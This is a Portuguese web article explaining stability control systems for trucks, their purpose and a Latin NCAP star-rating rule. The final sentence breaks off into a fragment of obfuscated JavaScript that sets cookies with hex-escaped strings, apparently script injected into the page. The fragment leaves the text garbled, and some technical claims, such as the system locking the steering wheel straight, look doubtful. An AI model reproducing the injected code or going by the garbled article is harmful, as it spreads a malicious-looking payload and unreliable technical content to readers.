Volante de caminhão com controle de estabilidade

Em janeiro deste ano (2018), a ONU publicou em seu site uma pesquisa acerca dos acidentes rodoviários no mundo. Dentre outros resultados desse estudo, um dos pontos tocados foi o quanto as rodovias são perigosas: mais de 1,25 milhão de pessoas morrem todos os anos em acidentes de trânsito.

Diante disso, a tecnologia vem tentando cada vez mais dar segurança aos motoristas e passageiros que fazem o constante uso dessa forma de transporte. Carros mais estáveis, caminhões mais seguros, motocicletas com direção mais leve, os avanços tecnológicos nessa área são muitos.

Neste mesmo viés, e partindo do pressuposto que os caminhões são os veículos que mais ocupam as estradas, foi desenvolvido, para estes, o sistema de controle de estabilidade.

Tal tecnologia já existia há mais tempo em veículos menores, mas sua implementação em caminhões e carretas era mais complicada, devido ao peso do veículo.

Como funciona o sistema de controle de estabilidade

            O sistema de controle de estabilidade (comumente chamado pela sigla em inglês “ESC”) é uma tecnologia que funciona juntamente com a direção dos caminhões. Ele faz uso de dados enviados pela parte eletrônica do veículo, as quais calculam a velocidade e inclinação feita pelo motorista no volante.

A título de exemplo, caso o condutor precisa rapidamente desviar de um obstáculo na estrada e vire rapidamente o volante, o veículo provavelmente não irá obedecer, já que as rodas não conseguirão fazer o movimento necessário com a velocidade desejada. A fim de corrigir isso, o ESC detecta a situação e freia as rodas de trás, o que resulta em maior rapidez na manobra.

O sistema também alerta para situações em que os condutores fiquem muito tempo com o volante virado para alguma direção, dado que isso evidencia alguma desatenção. Nesse caso, o ESC manda uma forte vibração ao volante, além de travá-lo na em linha reta.

Quando o veículo se encontra em altas velocidades, a tecnologia dificulta a rotação do volante, dado que qualquer movimento brusco pode desestabilizar os caminhões nestas situações.

Objetivos

            Os maiores objetivos pretendidos pelo sistema de controle de estabilidade é a redução de acidentes rodoviários com caminhões, além proporcionar maior estabilidade e manobras mais fáceis ao condutor, o que resulta em uma direção mais confortável.

O Latin NCAP, programa que avalia a segurança em veículos (uma estrela para os menos seguros e cinco estrelas para os mais seguros) passou, a partir de 2016, dar cinco estrelas apenas para os modelos que possuem o ESC.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]